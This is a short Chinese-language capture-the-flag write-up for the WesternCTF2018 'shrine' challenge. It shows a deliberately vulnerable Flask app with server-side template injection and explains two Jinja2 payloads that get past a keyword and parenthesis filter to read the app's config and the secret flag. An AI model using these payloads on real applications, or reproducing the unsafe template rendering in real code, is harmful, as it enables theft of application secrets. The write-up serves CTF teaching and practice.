[WesternCTF2018]shrine
import flask import os app = flask.Flask(__name__) app.config['FLAG'] = os.environ.pop('FLAG') @app.route('/') def index(): return open(__file__).read() @app.route('/shrine/<path:shrine>') def shrine(shrine): def safe_jinja(s): s = s.replace('(', '').replace(')', '') blacklist = ['config', 'self'] return ''.join(['{{% set {}=None%}}'.format(c) for c in blacklist]) + s return flask.render_template_string(safe_jinja(shrine)) if __name__ == '__main__': app.run(debug=True)
首先看到
app.config['FLAG'] = os.environ.pop('FLAG')
那么这个web应用的config应该就包含着FLAG变量,而这个变量里就存在着我们需要的flag,需要去查看应用的config
render_template_string(safe_jinja(shrine)),这段代码可以看到直接把shrine路径后面的字符串传入,造成了SSTI
但是这个地方过滤掉了config、self和(、)无法直接获得config,不然输入{{config}}或者{{self.__dict__}}就可以得到config
这时我们需要读取一些全局变量,利用python对象之间的引用关系来调用被禁用的函数
这里有两个包含了如current_app的函数,url_for和get_flashed_messages来获取当前app的config
payload1:
{{url_for.__globals__['current_app'].config}}
payload2:
{{get_flashed_messages.__globals__['current_app'].config}}